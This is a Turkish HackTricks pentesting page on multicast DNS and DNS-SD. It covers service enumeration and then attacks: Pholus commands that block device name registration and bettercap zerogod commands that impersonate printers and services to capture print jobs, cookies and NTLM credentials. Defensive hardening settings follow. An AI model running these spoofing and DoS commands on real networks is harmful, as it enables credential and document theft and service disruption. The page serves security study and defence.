5353/UDP Multicast DNS (mDNS) ve DNS-SD
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Multicast DNS (mDNS), tekil bir DNS sunucusu olmadan yerel bir bağlantı içinde DNS benzeri ad çözümü ve hizmet keşfi sağlar. UDP/5353 ve çoklu adresler 224.0.0.251 (IPv4) ve FF02::FB (IPv6) kullanır. DNS Hizmet Keşfi (DNS-SD, genellikle mDNS ile birlikte kullanılır) PTR, SRV ve TXT kayıtları aracılığıyla hizmetleri listelemek ve tanımlamak için standart bir yol sağlar.
PORT STATE SERVICE
5353/udp open zeroconf
Anahtar protokol detayları, saldırılar sırasında sıkça kullanacağınız:
- .local alanındaki isimler mDNS aracılığıyla çözülür.
- QU (Query Unicast) biti, çoklu yayın soruları için bile tekil yanıtlar talep edebilir.
- Uygulamalar, yerel bağlantıdan kaynaklanmayan paketleri göz ardı etmelidir; bazı yığınlar hala bunları kabul eder.
- Sondalama/duyurma, benzersiz ana bilgisayar/hizmet isimlerini zorlar; burada müdahale etmek DoS/"isim işgali" koşulları yaratır.
DNS-SD hizmet modeli
Hizmetler, .local altında _
Ağ Keşfi ve Sayımı
- nmap hedef taraması (bir ana bilgisayarda doğrudan mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap yayın keşfi (segmenti dinleyin ve tüm DNS-SD türlerini/örneklerini sayın):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Hizmet türlerini listele
avahi-browse -bt _services._dns-sd._udp
# Tüm hizmetleri tarayın ve ana bilgisayar/port'a çözün
avahi-browse -art
- Apple dns-sd (macOS):
# Tüm HTTP hizmetlerini tarayın
dns-sd -B _http._tcp
# Hizmet türlerini sayın
dns-sd -B _services._dns-sd._udp
# Belirli bir örneği SRV/TXT'ye çözün
dns-sd -L "My Printer" _ipp._tcp local
- tshark ile paket yakalama:
# Canlı yakalama
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Sadece DNS-SD hizmet listesi sorgularını
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
İpucu: Bazı tarayıcılar/WebRTC, yerel IP'leri maskelemek için geçici mDNS ana bilgisayar adları kullanır. Eğer ağda rastgele-UUID.local adayları görüyorsanız, bunları mDNS ile çözerek yerel IP'lere geçiş yapın.
Saldırılar
mDNS isim sondalama müdahalesi (DoS / isim işgali)
Sondalama aşamasında, bir ana bilgisayar isim benzersizliğini kontrol eder. Sahte çelişkilerle yanıt vermek, yeni isimler seçmesini veya başarısız olmasını zorlar. Bu, hizmet kaydını ve keşfini geciktirebilir veya engelleyebilir.
Pholus ile örnek:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Servis sahteciliği ve taklit (MitM)
Rekabetçi DNS-SD hizmetlerini (yazıcılar, AirPlay, HTTP, dosya paylaşımları) taklit ederek istemcileri sizinle bağlantı kurmaya zorlayın. Bu özellikle şunlar için faydalıdır:
- _ipp._tcp veya _printer._tcp'yi taklit ederek belgeleri yakalamak.
- İstemcileri token/cookie toplamak veya yükler iletmek için HTTP/HTTPS hizmetlerine çekmek.
- Windows istemcileri taklit edilen hizmetlere kimlik doğrulaması yaparken NTLM iletim teknikleri ile birleştirmek.
bettercap’in zerogod modülü (mDNS/DNS-SD sahtecisi/taklitçisi) ile:
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Ayrıca genel LLMNR/NBNS/mDNS/WPAD sahtecilik ve kimlik bilgisi yakalama/iletim iş akışlarına bakın:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Son uygulama sorunları hakkında notlar (engellemeler/süreklilik için yararlıdır)
- Avahi erişilebilirlik-iddası ve D-Bus çökme hataları (2023), avahi-daemon'u Linux dağıtımlarında sonlandırabilir (örneğin, CVE-2023-38469..38473, CVE-2023-1981), hedef ana bilgisayarlarda hizmet keşfini kesintiye uğratır.
- Cisco IOS XE Kablosuz LAN Kontrolörü mDNS geçidi DoS (2024, CVE-2024-20303), komşu saldırganların yüksek CPU kullanımı sağlamasına ve AP'leri koparmasına olanak tanır. VLAN'lar arasında bir mDNS geçidi ile karşılaşırsanız, hatalı veya yüksek hızlı mDNS altında kararlılığına dikkat edin.
Savunma dikkate alımları ve OPSEC
- Segment sınırları: 224.0.0.251/FF02::FB'yi güvenlik bölgeleri arasında yönlendirmeyin, mDNS geçidi açıkça gerekli olmadıkça. Keşfi köprülemek zorundaysanız, izin listelerini ve hız sınırlamalarını tercih edin.
- Windows uç noktaları/sunucular:
- mDNS üzerinden ad çözümlemesini zorla devre dışı bırakmak için kayıt defteri değerini ayarlayın ve yeniden başlatın:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Yönetilen ortamlarda, yerleşik “mDNS (UDP-In)” Windows Defender Güvenlik Duvarı kuralını devre dışı bırakın (en azından Alan profilinde) böylece ev/gezinme işlevselliğini korurken gelen mDNS işlemesini engelleyin.
- Daha yeni Windows 11 sürümlerinde/GPO şablonlarında, “Bilgisayar Yapılandırması > Yönetim Şablonları > Ağ > DNS İstemcisi > çoklu yayın DNS (mDNS) protokolünü yapılandır” politikasını kullanın ve Devre Dışı olarak ayarlayın.
- Linux (Avahi):
- Gerekmediğinde yayınlamayı kısıtlayın:
disable-publishing=yes
ayarlayın ve/etc/avahi/avahi-daemon.conf
dosyasındaallow-interfaces=
/deny-interfaces=
ile arayüzleri kısıtlayın. check-response-ttl=yes
kullanmayı düşünün ve kesinlikle gerekli olmadıkçaenable-reflector=yes
kullanmaktan kaçının; yansıtma sırasındareflect-filters=
izin listelerini tercih edin.- macOS: Belirli alt ağlar için Bonjour keşfi gerekmediğinde, ana bilgisayar/ağ güvenlik duvarlarında gelen mDNS'yi kısıtlayın.
- İzleme:
_services._dns-sd._udp.local
sorgularında olağandışı artışlar veya kritik hizmetlerin SRV/TXT'lerinde ani değişiklikler için uyarı verin; bunlar sahtecilik veya hizmet taklidi göstergeleridir.
Araçlar hızlı referans
- nmap NSE:
dns-service-discovery
vebroadcast-dns-service-discovery
. - Pholus: aktif tarama, ters mDNS taramaları, DoS ve sahtecilik yardımcıları.
# Pasif dinleme (zaman aşımı saniyeleri)
sudo python3 pholus3.py <iface> -stimeout 60
# Hizmet türlerini listele
sudo python3 pholus3.py <iface> -sscan
# Genel mDNS istekleri gönder
sudo python3 pholus3.py <iface> --request
# Bir alt ağın ters mDNS taraması
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: mDNS/DNS-SD hizmetlerini keşfetme, kaydetme, duyurma ve taklit etme (yukarıdaki örneklere bakın).
Sahtecilik/MitM
Bu hizmet üzerinden gerçekleştirebileceğiniz en ilginç saldırı, istemci ile gerçek sunucu arasındaki iletişimde bir MitM gerçekleştirmektir. Hassas dosyaları (yazıcı ile iletişimi MitM) veya hatta kimlik bilgilerini (Windows kimlik doğrulaması) elde etme şansınız olabilir.
Daha fazla bilgi için kontrol edin:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Referanslar
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD keşfi, sahtecilik, taklit)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.